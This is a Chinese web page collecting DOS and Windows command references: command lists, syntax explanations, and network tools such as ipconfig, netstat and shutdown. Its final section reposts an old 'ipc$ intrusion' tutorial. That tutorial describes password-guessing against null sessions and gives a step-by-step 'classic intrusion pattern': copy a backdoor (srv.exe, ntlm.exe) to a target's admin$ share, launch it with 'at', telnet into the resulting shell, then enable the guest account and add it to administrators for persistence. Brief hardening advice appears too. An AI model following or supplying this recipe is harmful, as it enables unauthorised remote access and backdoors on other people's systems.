導航:首頁 > 程序命令 > 基本dos命令

基本dos命令

發布時間:2023-06-02 18:50:40

Ⅰ dos命令大全

dos常用命令:

cd 改變當前目錄;

cls 清屏;

拷貝文件;

del 刪除文件;

deltree 刪除目錄樹;

dir 列文件名;

disk 復制磁碟;

edit 文本編輯;

format 格式化磁碟;

md 建立子目錄;

mem 查看內存狀況;

more 分屏顯示;

move 移動文件、改目錄名;

rd 刪除目錄;

ren 改變文件名;

type 顯示文件內容;

sys 製作DOS系統盤;

x 拷貝目錄與文件;

attrib 設置文件屬性;

chkdsk 檢查磁碟;

date 顯示及修改日期;

defrag 磁碟碎片整理;

doskey 重新調用DOS命令;

emm386 擴展內存管理;

fdisk 硬碟分區;

help 幫助;

label 設置卷標號;

lh 將程序裝入高端內存;

memmaker內存優化管理;

msd 系統檢測;

path 設置搜尋目錄;

prempt 設置提示符;

restore 恢復備份文件;

time 顯示及修改時間;

scandisk檢測、修理磁碟;

set 設置環境變數;

smartdrv設置磁碟加速器;

undelete恢復被刪的文件;

append 設置非執行文件路徑;

debug 隨機調試程序;

diskcomp磁碟比較;

expand 還原DOS文件;

fasthelp快速顯示幫助信息;

fc 文件比較;

interink啟動伺服器;

intersvr啟動客戶機;

qbasic Basic集成環境;

setver 設置版本;

share 文件共享;

subst 路徑替換;

tree 列目錄樹;

unformat恢復已格式化的磁碟;

vsafe 防病毒;

ver 顯示DOS版本號;

vol 顯示磁碟卷標號;

ctty 改變控制設備;



(1)基本dos命令擴展閱讀:

不常用命令:

append 設置非執行文件路徑;

debug 隨機調試程序;

diskcomp磁碟比較;

expand 還原DOS文件;

fasthelp 快速顯示幫助信息;

fc 文件比較;

interink 啟動伺服器;

intersvr 啟動客戶機;

qbasic Basic集成環境;

setver 設置版本;

share 文件共享;

subst 路徑替換;

tree 列目錄樹;

unformat 恢復已格式化的磁碟;

vsafe 防病毒;

ver 顯示DOS版本號;

vol 顯示磁碟卷標號;

ctty 改變控制設備;

DOS常用命令詳解;

dir 列文件名 deltree 刪除目錄樹 cls 清屏 cd 改變當前目錄;

拷貝文件 disk 復制磁碟 del 刪除文件 format 格式化磁碟;

edit 文本編輯 mem 查看內存狀況 md 建立子目錄 move 移動文件、改目錄名;

more 分屏顯示 type 顯示文件內容 rd 刪除目錄;

sys 製作DOS系統盤;

ren 改變文件名 x 拷貝目錄與文件 chkdsk 檢查磁碟 attrib 設置文件屬性;

fdisk 硬碟分區 date 顯示及修改日期 label 設置卷標號 defrag 磁碟碎片整理;

msd 系統檢測 path 設置搜尋目錄 share 文件共享 memmaker內存優化管理;

help 幫助 restore 恢復備份文件 set 設置環境變數 time 顯示及修改時間;

tree 列目錄樹 debug 隨機調試程序 doskey 重新調用DOS命令 prempt 設置提示符 undelete恢復被刪的文件 scandisk檢測、修理磁碟;

diskcomp磁碟比較 append 設置非執行文件路徑;

expand 還原DOS文件 fasthelp快速顯示幫助信息;

fc 文件比較 interink啟動伺服器;

setver 設置版本 intersvr啟動客戶機;

subst 路徑替換 qbasic Basic集成環境;

vsafe 防病毒 unformat恢復已格式化的磁碟;

ver 顯示DOS版本號 smartdrv設置磁碟加速器;

vol 顯示磁碟卷標號 lh 將程序裝入高端內存;

ctty 改變控制設備 emm386 擴展內存管理;

Ⅱ windows常用的DOS命令有哪些

cleanmgr–打開磁碟清理工具
compmgmt.msc---計算機管理
conf—-啟動 netmeeting
charmap–-啟動字元映射表
calc—-啟動計算器
chkdsk.exe–-Chkdsk磁碟檢查
cmd.exe–-CMD命令提示符
certmgr.msc–證書管理實用程序
cliconfg–SQL SERVER 客戶端網路實用程序
Clipbrd–-剪貼板查看器
ciadv.msc–--脊兄索引服務程序
dvdplay–-DVD播放器
diskmgmt.msc---磁碟管理實用程序
dfrg.msc–磁碟碎片整理程序
devmgmt.msc--- 設備管理器
drwtsn32–-- 系統醫生
dxdiag–--檢查DirectX信息
dcomcnfg–打開系統組件服務
ddeshare–打開DDE共享設置
explorer–打開資源管理器
eventvwr–事件查看器
eudcedit–造字程序
fsmgmt.msc–-共享文件夾管理器
gpedit.msc–-組策略

getmac 產看 網卡信息

ipconfig /all 查看ip詳細信息

ipconfig /release 釋放ip

ipconfig /renew 重新獲取ip
logoff–注銷命令
lusrmgr.msc–本機用戶和組
mstsc–遠程桌面連接
Msconfig.exe---系統配置實用程序
mem.exe–-顯示內存使用情況(如果直接運行無效,可以先運行cmd,在命令提示符里輸入mem.exe>d:a.txt 即mspaint–-畫圖板
mplayer2–媒體播放機
magnify–-放大鏡實用程序
mmc—--打開控制台
mobsync–-同步命令
notepad–-打開記事本

net user ***(用戶名) ****(密碼)/add 添加用戶

net user 用戶名 / dell 刪除用戶

net start messenger–開始信使服務
net stop messenger–-停止信使服務
net stop messenger–-停止信使服務
net start messenger–開始信使服務
notepad–-打開記事本
nslookup–網路管理的工具向導
ntbackup–系統備份和還原
narrator–屏幕「講述人」
ntmsmgr.msc–移動存儲管理器
ntmsoprq.msc---移動存儲管理員操作請求
netstat -an–(TC)命令檢查介面
Nslookup–IP地址偵測器
oobe/msoobe /a–檢查windows是否激活
osk—--打開屏幕鍵盤
odbcad32–ODBC數據源管理器
progman–-程序管理器
perfmon.msc–計算機性能監測程序
packager–對象包裝程序
rononce -p –15秒關機
regsvr32 /u *.dll–停止dll文件運行(把*號換成要停止的dll文件名)
regedt32–注冊表編輯器
rsop.msc–組策略結果集
regedit.exe–注冊表
regsvr32 /u zipfldr.dll–--取消ZIP支持
sndrec32–錄音機
services.msc---本地服務設置
syncapp–-櫻晌襲創建一個公文包
sysedit–-系統配置編輯器
sigverif–文件簽名驗證程序
slmgr.vbs –dli--查看Windows 7 的詳細版本號
/-ipk(Proct Key)安裝產品密鑰
/-dlv 顯示許可證信息
/-ato 激活Windows
/-xpr 當前許可證的截止日期
/-cpky 從注冊謹前表中清除產品密鑰(防止泄露引起的攻擊)
/-ilc (License file) 安裝許可證
/-upk 卸載產品密鑰
/-skms (name[:Port] )批量授權
此命令的可選項太多
sndrec32–錄音機
shrpubw–-創建共享文件夾
secpol.msc–-本地安全策略
syskey–--系統加密
Sndvol32–音量控製程序
sfc.exe–-系統文件檢查器
sfc /scannow---windows文件保護(掃描錯誤並復原)
tsshutdn–60秒倒計時關機命令
taskmgr–-任務管理器
utilman–-輔助工具管理器
winchat–自帶區域網聊天
winmsd–--系統信息
winver–--檢查Windows版本
wmimgmt.msc–打開windows管理體系結構(WMI)
wupdmgr–-windows更新程序 (不是正版系統不要打開)
Wscript.exe–-windows腳本宿主設置
write–---寫字板
wiaacmgr–掃描儀和照相機向導

Ⅲ 請問在DOS中的最基本的命令都有哪些

DOS命令大全
一)MD——建立子目錄
1.功能:創建新的子目錄
2.類型:內部命令
3.格式:MD[盤符:][路徑名]〈子目錄名〉
4.使用說明:
(1)「盤符」:指定要建立子目錄的磁碟驅動器字母,若省略,則為當前驅動器;
(2)「路徑名」:要建立的子目錄的上級目錄名,若預設則建在當前目錄下。
例:(1)在C盤的根目錄下創建名為FOX的子目錄;(2)在FOX子目錄下再創建USER子目錄。
C:、>MD FOX (在當前驅動器C盤下創建子目錄FOX)
C:、>MD FOX 、USER (在FOX 子目錄下再創建USER子目錄)
(二)CD——改變當前目錄
1.功能:顯示當前目錄
2.類型:內部命令
3.格式:CD[盤符:][路徑名][子目錄名]
4.使用說明:
(1)如果省略路徑和子目錄名則顯示當前目錄;
(2)如採用「CD、」格式,則退回到根目錄;
(3)如採用「CD.。」格式則退回到上一級目錄。
例:(1)進入到USER子目錄;(2)從USER子目錄退回到子目錄;(3)返回到根目錄。
C:、>CD FOX 、USER(進入FOX子目錄下的USER子目錄)
C:、FOX、USER>CD.。 (退回上一級根目錄)
C:、FOX>CD、 (返回到根目錄)
C:、>
(三)RD——刪除子目錄命令
1.功能:從指定的磁碟刪除了目錄。
2.類型:內部命令
3.格式:RD[盤符:][路徑名][子目錄名]
4.使用說明:
(1)子目錄在刪除前必須是空的,也就是說需要先進入該子目錄,使用DEL(刪除文件的命令)將其子目錄下的文件刪空,然後再退回到上一級目錄,用RD命令刪除該了目錄本身;
(2)不能刪除根目錄和當前目錄。
例:要求把C盤FOX子目錄下的USER子目錄刪除,操作如下:
第一步:先將USER子目錄下的文件刪空;
C、>DEL C:、FOX、USER、*。*
第二步,刪除USER子目錄。
C、>RD C:、FOX、USER
(四)DIR——顯示磁碟目錄命令
1.功能:顯示磁碟目錄的內容。
2.類型:內部命令
3.格式:DIR [盤符][路徑][/P][/W]
4.
使用說明:/P的使用;當欲查看的目錄太多,無法在一屏顯示完屏幕會一直往上卷,不容易看清,加上/P參數後,屏幕上會分面一次顯示23行的文件信息,然後暫停,並提示;Press
any key to continue
/W的使用:加上/W只顯示文件名,至於文件大小及建立的日期和時間則都省略。加上參數後,每行可以顯示五個文件名。
PATH——路徑設置命令
1.功能:設備可執行文件的搜索路徑,只對文件有效。
2.類型:內部命令
3.格式:PATH[盤符1]目錄[路徑名1]{[;盤符2:],〈目錄路徑名2〉…}
4.使用說明:
(1)當運行一個可執行文件時,DOS會先在當前目錄中搜索該文件,若找到則運行之;若找不到該文件,則根據PATH命令所設置的路徑,順序逐條地到目錄中搜索該文件;
(2)PATH命令中的路徑,若有兩條以上,各路徑之間以一個分號「;」隔開;
(3)PATH命令有三種使用方法:
PATH[盤符1:][路徑1][盤符2:][路徑2]…(設定可執行文件的搜索路徑) PATH:(取消所有路徑)
PATH:(顯示目前所設的路徑)

-----------------------------
DOs命令大全:
有關某個命令的詳細信息,請鍵入 HELP 命令名
ASSOC 顯示或修改文件擴展名關聯。
AT 計劃在計算機上運行的命令和程序。
ATTRIB 顯示或更改文件屬性。
BREAK 設置或清除擴展式 CTRL+C 檢查。
CACLS 顯示或修改文件的訪問控制列表(ACLs)。
CALL 從另一個批處理程序調用這一個。
CD 顯示當前目錄的名稱或將其更改。
CHCP 顯示或設置活動代碼頁數。
CHDIR 顯示當前目錄的名稱或將其更改。
CHKDSK 檢查磁碟並顯示狀態報告。
CHKNTFS 顯示或修改啟動時間磁碟檢查。
CLS 清除屏幕。
CMD 打開另一個 Windows 命令解釋程序窗口。
COLOR 設置默認控制台前景和背景顏色。
COMP 比較兩個或兩套文件的內容。
COMPACT 顯示或更改 NTFS 分區上文件的壓縮
CONVERT 將 FAT 卷轉換成 NTFS。您不能轉換
當前驅動器。
COPY 將至少一個文件復制到另一個位置。
DATE 顯示或設置日期。
DEL 刪除至少一個文件。
DIR 顯示一個目錄中的文件和子目錄。
DISKCOMP 比較兩個軟盤的內容。
DISKCOPY 將一個軟盤的內容復制到另一個軟盤。
DOSKEY 編輯命令行、調用 Windows 命令並創建宏。
ECHO 顯示消息,或將命令回顯打開或關上。
ENDLOCAL 結束批文件中環境更改的本地化。
ERASE 刪除至少一個文件。
EXIT 退出 CMD.EXE 程序(命令解釋程序)。
FC 比較兩個或兩套文件,並顯示
不同處。
FIND 在文件中搜索文字字元串。
FINDSTR 在文件中搜索字元串。
FOR 為一套文件中的每個文件運行一個指定的命令。
FORMAT 格式化磁碟,以便跟 Windows 使用。
FTYPE 顯示或修改用於文件擴展名關聯的文件類型。
GOTO 將 Windows 命令解釋程序指向批處理程序
中某個標明的行。
GRAFTABL 啟用 Windows 來以圖像模式顯示
擴展字元集。
HELP 提供 Windows 命令的幫助信息。
IF 執行批處理程序中的條件性處理。
LABEL 創建、更改或刪除磁碟的卷標。
MD 創建目錄。
MKDIR 創建目錄。
MODE 配置系統設備。
MORE 一次顯示一個結果屏幕。
MOVE 將文件從一個目錄移到另一個目錄。
PATH 顯示或設置可執行文件的搜索路徑。
PAUSE 暫停批文件的處理並顯示消息。
POPD 還原 PUSHD 保存的當前目錄的上一個值。
PRINT 列印文本文件。
PROMPT 更改 Windows 命令提示符。
PUSHD 保存當前目錄,然後對其進行更改。
RD 刪除目錄。
RECOVER 從有問題的磁碟恢復可讀信息。
REM 記錄批文件或 CONFIG.SYS 中的注釋。
REN 重命名文件。
RENAME 重命名文件。
REPLACE 替換文件。
RMDIR 刪除目錄。
SET 顯示、設置或刪除 Windows 環境變數。
SETLOCAL 開始批文件中環境更改的本地化。
SHIFT 更換批文件中可替換參數的位置。
SORT 對輸入進行分類。
START 啟動另一個窗口來運行指定的程序或命令。
SUBST 將路徑跟一個驅動器號關聯。
TIME 顯示或設置系統時間。
TITLE 設置 CMD.EXE 會話的窗口標題。
TREE 以圖形模式顯示驅動器或路徑的目錄結構。
TYPE 顯示文本文件的內容。
VER 顯示 Windows 版本。
VERIFY 告訴 Windows 是否驗證文件是否已正確
寫入磁碟。
VOL 顯示磁碟卷標和序列號。
XCOPY 復制文件和目錄樹。

Ⅳ 常用的DOS命令有哪些

DOS 常用命令命令詳解

DOS 常用命令:
dir 列文件名 deltree 刪除目錄樹 cls 清屏 cd 改變當前目錄
拷貝文件 disk 復制磁碟 del 刪除文件 format 格式化磁碟
edit 文本編輯 mem 查看內存狀況 md 建立子目錄 move 移動文件、改目錄名
more 分屏顯示 type 顯示文件內容 rd 刪除目錄 sys 製作DOS系統盤
ren 改變文件名 x 拷貝目錄與文件 chkdsk 檢查磁碟 attrib 設置文件屬性
fdisk 硬碟分區 date 顯示及修改號期 label 設置卷標號 defrag 磁碟碎片整理
msd 系統檢測 path 設置搜尋目錄 share 文件共享 memmaker內存優化管理
help 幫助 restore 恢復備份文件 set 設置環境變數 time 顯示及修改時間
tree 列目錄樹 debug 隨機調試程序 doskey 重新調用DOS命令 prempt 設置提示符 undelete恢復被刪的文件 scandisk檢測、修理磁碟

常用命令具體介紹:

一、Dir
顯示目錄文件和子目錄列表,呵呵,這個當然是人人要知道的。
可以使用通配符(? 和 *),?表通配一個字元,*表通配任意字元
*.後綴
指定要查看後綴的文件。 上面其實也可以為「 . 後綴」,例如dir *.exe 等於dir .exe
/p
每次顯示一個列表屏幕。要查看下一屏,請按鍵盤上的任意鍵。
/w
以寬格式顯示列表,在每一行上最多顯示 5 個文件名或目錄名。
/s
列出指定目錄及所有子目錄中出現的每個指定的文件名。比win環境下的查找快多了
dir *.* -> a.txt 把當前目錄文件列表寫入a.txt
dir *.* /s -> a.txt 把當前目錄文件列表寫入a.txt,包括子目錄下文件。
二、Attrib
顯示、設置或刪除指派給文件或目錄的只讀、存檔、系統以及隱藏屬性。如果在不含參數的情況下使用,則 attrib 會顯示當前目錄中所有文件的屬性。
+r
設置只讀屬性。
-r
清除只讀屬性。
+a
設置存檔文件屬性。
-a
清除存檔文件屬性。
+s
設置系統屬性。
-s
清除系統屬性。
+h
設置隱藏屬性。
-h
清除隱藏屬性。
三、Cls
清除顯示在命令提示符窗口中的所有信息,並返回空窗口,即「清屏」
四、Exit
退出當前命令解釋程序並返回到系統。
五、format
格式化
/q
執行快速格式化。刪除以前已格式化卷的文件表和根目錄,但不在扇區之間掃描損壞區域。使用 /q 命令行選項應該僅格式化以前已格式化的完好的卷。
六、Ipconfig
顯示所有當前的 TCP/IP 網路配置值、刷新動態主機配置協議 (DHCP) 和域名系統 (DNS) 設置。使用不帶參數的 ipconfig 可以顯示所有適配器的 IP 地址、子網掩碼、默認網關。
/all
顯示所有適配器的完整 TCP/IP 配置信息。
ipconfig 等價於 winipcfg,後者在ME、98 和 95 上可用。盡管 Windows XP 沒有提供象 winipcfg 命令一樣的圖形化界面,但可以使用「網路連接」查看和更新 IP 地址。要做到這一點,請打開 網路連接,右鍵單擊某一網路連接,單擊「狀態」,然後單擊「支持」選項卡。
該命令最適用於配置為自動獲取 IP 地址的計算機。它使用戶可以確定哪些 TCP/IP 配置值是由 DHCP、自動專用 IP 地址 (APIPA) 和其他配置配置的。
七、md
創建目錄或子目錄
八、Move
將一個或多個文件從一個目錄移動到指定的目錄。
九、Nbtstat
顯示本地計算機和遠程計算機的基於 TCP/IP (NetBT) 協議的 NetBIOS 統計資料、NetBIOS 名稱表和 N
etBIOS 名稱緩存。Nbtstat 可以刷新 NetBIOS 名稱緩存和注冊的 Windows Internet 名稱服務 (WINS) 名稱。使用不帶參數的 nbtstat 顯示幫助。Nbtstat 命令行參數區分大小寫。
-a remotename
顯示遠程計算機的 NetBIOS 名稱表,其中,RemoteName 是遠程計算機的 NetBIOS 計算機名稱。
-A IPAddress
顯示遠程計算機的 NetBIOS 名稱表,其名稱由遠程計算機的 IP 地址指定(以小數點分隔)。
十、Netstat
顯示活動的 TCP 連接、計算機偵聽的埠、乙太網統計信息、IP 路由表、IPv4 統計信息(對於 IP、ICMP、TCP 和 UDP 協議)以及 IPv6 統計信息(對於 IPv6、ICMPv6、通過 IPv6 的 TCP 以及通過 IPv6 的 UDP 協議)。使用時如果不帶參數,netstat 顯示活動的 TCP 連接。
-a
顯示所有活動的 TCP 連接以及計算機偵聽的 TCP 和 UDP 埠。
十一、Ping
通過發送「網際消息控制協議 (ICMP)」回響請求消息來驗證與另一台 TCP/IP 計算機的 IP 級連接。回響應答消息的接收情況將和往返過程的次數一起顯示出來。Ping 是用於檢測網路連接性、可到達性和名稱解析的疑難問題的主要 TCP/IP 命令。如果不帶參數,ping 將顯示幫助。名稱和Ip地址解析是它的最簡單應用也是用的最多的。
-t
指定在中斷前 ping 可以持續發送回響請求信息到目的地。要中斷並顯示統計信息,請按 CTRL-BREAK。要中斷並退出 ping,請按 CTRL-C。
-lSize
指定發送的回響請求消息中「數據」欄位的長度(以位元組表示)。默認值為 32。size 的最大值是 65,527。
十二、Rename (Ren)
更改文件的名稱。
例如 ren *.abc *.cba
十三、Set
顯示、設置或刪除環境變數。如果沒有任何參數,set 命令將顯示當前環境設置。
十四、Shutdown
允許您關閉或重新啟動本地或遠程計算機。如果沒有使用參數,shutdown 將注銷當前用戶。
-m ComputerName
指定要關閉的計算機。
-t xx
將用於系統關閉的定時器設置為 xx 秒。默認值是 20 秒。
-l
注銷當前用戶,這是默認設置。-m ComputerName 優先。
-s
關閉本地計算機。
-r
關閉之後重新啟動。
-a
中止關閉。除了 -l 和 ComputerName 外,系統將忽略其它參數。在超時期間,您只可以使用 -a。
十五、System File Checker (sfc)
win下才有,在重新啟動計算機後掃描和驗
證所有受保護的系統文件。
/scannow
立即掃描所有受保護的系統文件。
/scanonce
一次掃描所有受保護的系統文件。
/purgecache
立即清除「Windows 文件保護」文件高速緩存,並掃描所有受保護的系統文件。
/cachesize=x
設置「Windows 文件保護」文件高速緩存的大小,以 MB 為單位。
十六、type
顯示文本文件的內容。使用 type 命令查看文本文件或者是bat文件而不修改文件
十七、Tree
圖像化顯示路徑或驅動器中磁碟的目錄結構。
十八、X
復制文件和目錄,包括子目錄。
/s
復制非空的目錄和子目錄。如果省略 /s,x 將在一個目錄中工作。
/e
復制所有子目錄,包括空目錄。
十九、
將一個或多個文件從一個位置復制到其他位置
二十、del
刪除指定文件。
ftp和bat批命令和net和telnet由於子命令太多,這里不說了,不過這幾個都是常用到的。
IPC$命令詳解:
網上關於ipc$入侵的文章可謂多如牛毛,而且也不乏優秀之作,攻擊步驟甚至可以說已經成為經典的模式,因此也沒人願意再把這已經成為定式的東西拿出來擺弄.
不過話雖這樣說,但我個人認為這些文章講解的並不詳細,對於第一次接觸ipc$的菜鳥來說,簡單的羅列步驟並不能解答他們的許多迷惑(你隨便找一個hack論壇搜一下ipc,看存在的疑惑有多少).
因此我寫了這篇相當於解惑的教程.想把一些容易混淆,容易迷惑人的問題說清楚,讓大家不要總徘徊在原地!如果你看完這篇帖子仍有疑問,請馬上回復!

二 什麼是ipc$
IPC$(Internet Process Connection)是共享"命名管道"的資源(大家都是這么說的),它是為了讓進程間通信而開放的命名管道,可以通過驗證用戶名和密碼獲得相應的許可權,在遠程管理計算機和查看計算機的共享資源時使用。
利用IPC$,連接者甚至可以與目標主機建立一個空的連接而無需用戶名與密碼(當然,對方機器必須開了ipc$共享,否則你是連接不上的),而利用這個空的連接,連接者還可以得到目標主機上的用戶列表(不過負責的管理員會禁止導出用戶列表的)。
我們總在說ipc$漏洞ipc$漏洞,其實,ipc$並不是真正意義上的漏洞,它是為了方便管理員的遠程管理而開放的遠程網路登陸功能,而且還打開了默認共享,即所有的邏輯盤(c$,d$,e$……)和系統目錄winnt或windows(admin$)。
所有的這些,初衷都是為了方便管理員的管理,但好的初衷並不一定有好的收效,一些別有用心者(到底是什麼用心?我也不知道,代詞一個)會利用IPC$,訪問共享資源,導出用戶列表,並使用一些字典工具,進行密碼探測,寄希望於獲得更高的許可權,從而達到不可告人的目的.
解惑:
1)IPC連接是Windows NT及以上系統中特有的遠程網路登陸功能,其功能相當於Unix中的Telnet,由於IPC$功能需要用到Windows NT中的很多DLL函數,所以不能在Windows 9.x中運行。
也就是說只有nt/2000/xp才可以建立ipc$連接,98/me是不能建立ipc$連接的(但有些朋友說在98下能建立空的連接,不知道是真是假,不過現在都2003年了,建議98的同志換一下系統吧,98不爽的)
2)即使是空連接也不是100%都能建立成功,如果對方關閉了ipc$共享,你仍然無法建立連接
3)並不是說建立了ipc$連接就可以查看對方的用戶列表,因為管理員可以禁止導出用戶列表

三 建立ipc$連接在hack攻擊中的作用
就像上面所說的,即使你建立了一個空的連接,你也可以獲得不少的信息(而這些信息往往是入侵中必不可少的),訪問部分共享,如果你能夠以某一個具有
一定許可權的用戶身份登陸的話,那麼你就會得到相應的許可權,顯然,如果你以管理員身份登陸,嘿嘿,就不用我在多說了吧,what u want,u can do!!
(基本上可以總結為獲取目標信息、管理目標進程和服務,上傳木馬並運行,如果是2000server,還可以考慮開啟終端服務方便控制.怎麼樣?夠厲害吧!)
不過你也不要高興的太早,因為管理員的密碼不是那麼好搞到的,雖然會有一些傻傻的管理員用空口令或者弱智密碼,但這畢竟是少數,而且現在不比從前了,隨著人們安全意識的提高,管理員們也愈加小心了,得到管理員密碼會越來越難的:(
因此今後你最大的可能就是以極小的許可權甚至是沒有許可權進行連接,你會慢慢的發現ipc$連接並不是萬能的,甚至在主機不開啟ipc$共享時,你根本就無法連接.
所以我認為,你不要把ipc$入侵當作終極武器,不要認為它戰無不勝,它就像是足球場上射門前的傳球,很少會有致命一擊的效果,但卻是不可缺少的,我覺得這才是ipc$連接在hack入侵中的意義所在.

四 ipc$與空連接,139,445埠,默認共享的關系
以上四者的關系可能是菜鳥很困惑的一個問題,不過大部分文章都沒有進行特別的說明,其實我理解的也不是很透徹,都是在與大家交流中總結出來的.(一個有良好討論氛圍的BBS可以說是菜鳥的天堂)
1)ipc$與空連接:
不需要用戶名與密碼的ipc$連接即為空連接,一旦你以某個用戶或管理員的身份登陸(即以特定的用戶名和密碼進行ipc$連接),自然就不能叫做空連接了.
許多人可能要問了,既然可以空連接,那我以後就空連接好了,為什麼還要費九牛二虎之力去掃描弱口令,呵呵,原因前面提到過,當你以空連接登陸時,你沒有任何許可權(很郁悶吧),而你以用戶或管理員的身份登陸時,你就會有相應的許可權(有許可權誰不想呀,所以還是老老實實掃吧,不要偷懶喲).
2)ipc$與139,445埠:
ipc$連接可以實現遠程登陸及對默認共享的訪問;而139埠的開啟表示netbios協議的應用,我們可以通過139,445(win2000)埠實現對共享文件/列印機的訪問,因此一般來講,ipc$連接是需要139或445埠來支持的.
3)ipc$與默認共享
默認共享是為了方便管理員遠程管理而默認開啟的共享(你當然可以關閉它),即所有的邏輯盤(c$,d$,e$……)和系統目錄winnt或windows(admin$),我們通過ipc$連接可以實現對這些默認共享的訪問(前提是對方沒有關閉這些默認共享)

五 ipc$連接失敗的原因
以下5個原因是比較常見的:
1)你的系統不是NT或以上****作系統;
2)對方沒有打開ipc$默認共享
3)對方未開啟139或445埠(惑被防火牆屏蔽)
4)你的命令輸入有誤(比如缺少了空格等)
5)用戶名或密碼錯誤(空連接當然無所謂了)
另外,你也可以根據返回的錯誤號分析原因:
錯誤號5,拒絕訪問 : 很可能你使用的用戶不是管理員許可權的,先提升許可權;
錯誤號51,Windows 無法找到網路路徑 : 網路有問題;
錯誤號53,找不到網路路徑 : ip地址錯誤;目標未開機;目標lanmanserver服務未啟動;目標有防火牆(埠過濾);
錯誤號67,找不到網路名 : 你的lanmanworkstation服務未啟動;目標刪除了ipc$;
錯誤號1219,提供的憑據與已存在的憑據集沖突 : 你已經和對方建立了一個ipc$,請刪除再連。
錯誤號1326,未知的用戶名或錯誤密碼 : 原因很明顯了;
錯誤號1792,試圖登錄,但是網路登錄服務沒有啟動 : 目標NetLogon服務未啟動。(連接域控會出現此情況)
錯誤號2242,此用戶的密碼已經過期 : 目標有帳號策略,強制定期要求更改密碼。
關於ipc$連不上的問題比較復雜,除了以上的原因,還會有其他一些不確定因素,在此本人無法詳細而確定的說明,就*大家自己體會和試驗了.
<br>六 如何打開目標的IPC$(此段引自相關文章)
首先你需要獲得一個不依賴於ipc$的shell,比如sql的cmd擴展、telnet、木馬,當然,這shell必須是admin許可權的,然後你可以使用shell執行命令 net share ipc$ 來開放目標的ipc$。從上面可以知道,ipc$能否使用還有很多條件。請確認相關服務都已運行,沒有就啟動它(不知道怎麼做的請看net命令的用法),還是不行的話(比如有防火牆,殺不了)建議放棄。

七 如何防範ipc$入侵
1禁止空連接進行枚舉(此****作並不能阻止空連接的建立,引自《解剖win2000下的空會話》)
首先運行regedit,找到如下組建[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous = DWORD的鍵值改為:00000001(如果設置為2的話,有一些問題會發生,比如一些WIN的服務出現問題等等)
2禁止默認共享
1)察看本地共享資源
運行-cmd-輸入net share
2)刪除共享(每次輸入一個)
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete(如果有e,f,……可以繼續刪除)
3)停止server服務
net stop server /y (重新啟動後server服務會重新開啟)
4)修改注冊表
運行-regedit
server版:找到如下主鍵[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer(DWORD)的鍵值改為:00000000。
pro版:找到如下主鍵[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks(DWORD)的鍵值改為:00000000。
如果上面所說的主鍵不存在,就新建(右擊-新建-雙位元組值)一個主健再改鍵值。
3永久關閉ipc$和默認共享依賴的服務:lanmanserver即server服務
控制面板-管理工具-服務-找到server服務(右擊)-屬性-常規-啟動類型-已禁用
4安裝防火牆(選中相關設置),或者埠過濾(濾掉139,445等),或者用新版本的優化大師
5設置復雜密碼,防止通過ipc$窮舉密碼

八 相關命令
1)建立空連接:
net use $">\\IP\ipc$ "" /user:"" (一定要注意:這一行命令中包含了3個空格)
2)建立非空連接:
net use $">\\IP\ipc$ "用戶名" /user:"密碼" (同樣有3個空格)
3)映射默認共享:
net use z: $">\\IP\c$ "密碼" /user:"用戶名" (即可將對方的c盤映射為自己的z盤,其他盤類推)
如果已經和目標建立了ipc$,則可以直接用IP+盤符+$訪問,具體命令 net use z: $">\\IP\c$
4)刪除一個ipc$連接
net&nbs
p;use $">\\IP\ipc$ /del
5)刪除共享映射
net use c: /del 刪除映射的c盤,其他盤類推
net use * /del 刪除全部,會有提示要求按y確認

九 經典入侵模式
這個入侵模式太經典了,大部分ipc教程都有介紹,我也就拿過來引用了,在此感謝原創作者!(不知道是哪位前輩)
11. C:\>net use $">\\127.0.0.1\IPC$ "密碼" /user:"用戶名"
一般用流光,通過掃描弱口令來得到,管理員帳號和密碼.
2. C:\> srv.exe $">\\127.0.0.1\admin$
先復制srv.exe上去,在流光的Tools目錄下就有(這里的$是指admin用戶的c:\winnt\system32\,大家還可以使用c$、d$,意思是C盤與D盤,這看你要復制到什麼地方去了)。

3. C:\>net time \\127.0.0.1
查查時間,發現127.0.0.1 的當前時間是 2004/6/15 上午 11:00,命令成功完成。

4. C:\>at \\127.0.0.1 11:05 srv.exe
用at命令啟動srv.exe吧
5. C:\>net time \\127.0.0.1
再查查到時間沒有?如果127.0.0.1 的當前時間是 2004/6/15 上午 11:05,那就准備開始下面的命令。

6. C:\>telnet 127.0.0.1 99
這里會用到Telnet命令吧,注意埠是99。Telnet默認的是23埠,但是我們使用的是SRV在對方計算機中為我們建立一個99埠的Shell。
雖然我們可以Telnet上去了,但是SRV是一次性的,下次登錄還要再激活!所以我們打算建立一個Telnet服務!這就要用到ntlm了

7.C:\> ntlm.exe $">\\127.0.0.1\admin$
用Copy命令把ntlm.exe上傳到主機上(ntlm.exe也是在《流光》的Tools目錄中)。

8. C:\WINNT\system32>ntlm
輸入ntlm啟動(這里的C:\WINNT\system32>指的是對方計算機,運行ntlm其實是讓這個程序在對方計算機上運行)。當出現"DONE"的時候,就說明已經啟動正常。然後使用"net start telnet"來開啟Telnet服務!
9. Telnet 127.0.0.1,接著輸入用戶名與密碼就進入對方了,****作就像在DOS上****作一樣簡單!(然後你想做什麼?想做什麼就做什麼吧,哈哈)
為了以防萬一,我們再把guest激活加到管理組
10. C:\>net user guest /active:yes
將對方的Guest用戶激活
11. C:\>net user guest 1234
將Guest的密碼改為1234,或者你要設定的密碼
12. C:\>net localgroup administrators guest /add
將Guest變為Administrator(如果管理員密碼更改,guest帳號沒改變的話,下次我們可以用guest再次訪問這台計算機)
ipc$常見問題:
1,怎樣建立空連接,它有什麼用?
答:使用命令 net use \IPipc$ "" /user:"" 就可以簡單地和目標建立一個空連接(需要目標開放ipc$)。
對於NT,在默認安全設置下,藉助空連接可以列舉目標用戶、共享,訪問everyone許可權的共享,訪問小部分注冊表等,沒有什麼利用價值。對2000作用就更小了。而且實現也不方便,需藉助工具。
2.為什麼我連不上IPC$?
答:1.只有nt/2000/xp及以上系統才可以建立ipc$。如果你用的是98/me是沒有該功能的。
2.確認你的命令沒有打錯。正確的命令是: net use \目標IPipc$ "密碼" /user:"用戶名"
注意別多了或少了空格。當用戶名和密碼中不包含空格時兩邊的雙引號可以省略。空密碼用""表示。
3,根據返回的錯誤號分析原因:
